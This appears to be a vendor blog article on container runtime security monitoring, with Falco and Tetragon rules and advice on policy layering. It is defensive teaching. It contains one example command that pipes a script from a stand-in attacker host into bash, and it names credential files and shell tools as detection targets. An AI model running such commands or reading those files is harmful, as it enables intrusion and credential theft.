Container Runtime Security Monitoring: Catching What Scanners Miss

Container image scanning has become standard practice. Most organizations scan their images in CI/CD pipelines and block deployment of images with critical CVEs. This is necessary, but it is not sufficient. Image scanning tells you about known vulnerabilities before deployment. Runtime monitoring tells you what is actually happening inside your containers after deployment.

The distinction matters because attackers do not limit themselves to known CVEs. Zero-days, configuration exploitation, and legitimate-feature abuse cannot be detected by scanning a static image. You need eyes on the runtime.

What Runtime Monitoring Detects

Unexpected Process Execution

A container running a Node.js application should only execute node and possibly some child processes. If a shell (/bin/sh, /bin/bash) or a system utility (curl, wget, nc) appears, something is wrong.

# Normal behavior for a Node.js container
node /app/server.js

# Anomalous behavior indicating compromise
/bin/sh -c curl http://attacker.com/shell.sh | bash

Runtime monitoring detects these anomalies by maintaining a baseline of expected process behavior and alerting on deviations.

Unusual Network Connections

A container that normally communicates with a database on port 5432 and an API gateway on port 443 should not suddenly connect to a cryptocurrency mining pool on port 3333 or exfiltrate data to an unknown IP address.

Filesystem Modifications

Containers should generally have read-only root filesystems. Writes to unexpected locations — especially /bin, /usr/bin, /etc, or other system directories — indicate potential compromise.

Privilege Escalation

Attempts to change user identity, load kernel modules, or modify capabilities are indicators of privilege escalation attacks. Runtime monitoring can detect setuid calls, capability requests, and other escalation techniques.

Credential Access

Reading sensitive files like /etc/shadow, accessing the Kubernetes service account token at /var/run/secrets/kubernetes.io/serviceaccount/token, or querying the instance metadata service (169.254.169.254) are common post-exploitation activities.

Tools and Technologies

Falco

Falco, created by Sysdig and now a CNCF incubating project, is the most widely deployed open source container runtime security tool. It uses a rules engine to define expected and anomalous behavior:

# Falco rule: detect shell in container
- rule: Terminal shell in container
  desc: A shell was used as the entrypoint/exec point into a container
  condition: >
    spawned_process and container and
    shell_procs and proc.tty != 0
  output: >
    A shell was spawned in a container
    (user=%user.name container=%container.name
    shell=%proc.name parent=%proc.pname)
  priority: WARNING
  tags: [container, shell]

# Falco rule: detect crypto mining
- rule: Detect crypto miners using stratum protocol
  desc: Detect processes using stratum mining protocol
  condition: >
    spawned_process and container and
    proc.cmdline contains "stratum+tcp://"
  output: >
    Crypto mining detected (user=%user.name
    command=%proc.cmdline container=%container.name)
  priority: CRITICAL
  tags: [container, cryptomining]

Falco operates at the kernel level using either a kernel module or eBPF probes, giving it visibility into system calls made by container processes without requiring any modification to the containers themselves.

eBPF-Based Solutions

Extended Berkeley Packet Filter (eBPF) has become the preferred technology for runtime monitoring because it runs in the kernel with near-zero overhead and does not require kernel module installation.

eBPF-based tools include:

• Cilium Tetragon: Provides security observability and enforcement using eBPF
• Tracee (Aqua Security): Traces container activity using eBPF
• KubeArmor: Provides runtime enforcement for containers using eBPF and LSM hooks

# Tetragon tracing policy
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-sensitive-files
spec:
  kprobes:
    - call: "security_file_open"
      syscall: false
      args:
        - index: 0
          type: "file"
      selectors:
        - matchArgs:
            - index: 0
              operator: "Prefix"
              values:
                - "/etc/shadow"
                - "/etc/passwd"

Cloud-Managed Solutions

Cloud providers offer managed runtime security:

• AWS GuardDuty for EKS: Detects threats in EKS clusters using runtime monitoring
• GKE Security Posture: Provides workload vulnerability scanning and runtime monitoring
• Azure Defender for Containers: Runtime threat detection for AKS clusters

Building Effective Runtime Policies

Start with Observability

Before writing enforcement rules, deploy runtime monitoring in observe-only mode. Collect data on what your containers actually do:

• What processes run?
• What network connections are made?
• What files are accessed?
• What syscalls are used?

This baseline is essential. Without it, you will either write rules so broad they trigger constantly (alert fatigue) or so narrow they miss real threats.

Layer Your Rules

Organize runtime rules into layers:

Layer 1: Universal rules that apply to all containers:

• No shell execution in production containers
• No connections to known malicious IPs
• No writes to system directories
• No access to cloud metadata service (unless explicitly allowed)

Layer 2: Workload-specific rules based on expected behavior:

• Web server container: only node/nginx processes, outbound connections only to specific services
• Database container: only postgres processes, no outbound internet connections
• Job runner: specific allowed commands, time-bounded execution

Layer 3: Anomaly detection for unexpected patterns:

• Unusually high CPU (crypto mining)
• Unusual DNS queries (C2 communication)
• Large outbound data transfers (data exfiltration)

Enforce Gradually

Move from detection to prevention incrementally:

1. Audit mode: Log all violations but do not block
2. Selective enforcement: Block high-confidence threats (known malware, crypto mining)
3. Full enforcement: Block all policy violations

Jumping straight to full enforcement will break things. Production applications have surprising behaviors that your initial policies will not anticipate.

Integration with Incident Response

Runtime monitoring is only useful if it connects to your incident response workflow:

• Alert routing: Critical alerts go to on-call security, not a shared inbox
• Context enrichment: Alerts should include container name, pod, namespace, node, image, and recent activity
• Automated response: For high-confidence threats, automated responses (killing the pod, isolating the node) can contain incidents faster than human response
• Forensic data: Runtime monitoring data is essential for post-incident investigation

How Safeguard.sh Helps

Safeguard.sh combines static image analysis with runtime behavioral monitoring to provide complete container security coverage. Our platform establishes behavioral baselines for your workloads, detects anomalies in real time, and correlates runtime findings with SBOM data to identify the root cause of security events. When a runtime alert fires, Safeguard.sh immediately shows you which vulnerable components are running in the affected container, accelerating investigation and remediation.